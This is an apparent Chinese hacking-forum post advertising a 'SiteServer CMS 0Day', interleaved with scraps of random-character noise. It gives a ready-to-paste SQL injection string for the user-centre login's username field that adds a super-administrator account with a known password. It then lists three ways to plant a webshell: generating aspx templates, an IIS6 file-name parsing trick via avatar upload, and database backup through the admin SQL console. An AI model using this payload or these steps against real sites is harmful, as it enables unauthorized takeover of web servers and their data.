SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn
: Y6 w" y9 X" n( \1 O5 A
3 [; M" ~( @$ W) z* |
/ {# r' V3 |3 ^2 o7 X# Y- v$ E& r. \
. ?6 E* ?' f, _( j4 ZEXP:

直接访问UserCenter/login.aspx


3 B: F7 s6 e8 r$ U4 l
用户名处输入：

! @* t$ F! x% Y+ L& b123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
. f0 a$ z# G/ k# J# ^) ]* i

- x, I, U% M% m8 j1 @5 e6 A* Q
密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
& \1 r0 B2 y- t5 S. {$ X3 I& i
6 L5 |6 Y6 @, q4 }* X

之后再访问后台SiteServer/login.aspx用插入的用户登陆



& N' p4 o6 ^  B! E/ z后台拿webshell的三种方法：

0 e/ \: U( Q3 H# L8 W一、
; h, [; y  l. T( \4 y  \+ _
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
2 J. u& ]. i% t
6 ^  N5 J' c, [  q5 H; Z" u0 O二、

% w9 c: S( |) P8 R成员权限-》添加用户-》用户名为：1.asp
; |. o# i9 _5 E5 z4 W4 a3 k
4 j: E0 z& G& E3 S2 thttp://127.0.0.1/usercenter/
1 E6 E/ i5 ?; B* a6 p
: J: o; [! S- U; y$ g+ a0 |1 X用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
2 W7 g6 i! m& U
（ps：后台添加用户时不会验证是否含有非法字符）
( W* I4 ]) e) M, R. Z2 K- |/ g
三、

系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

" f: z8 t( Z1 G4 ^9 F. U' n5 {系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。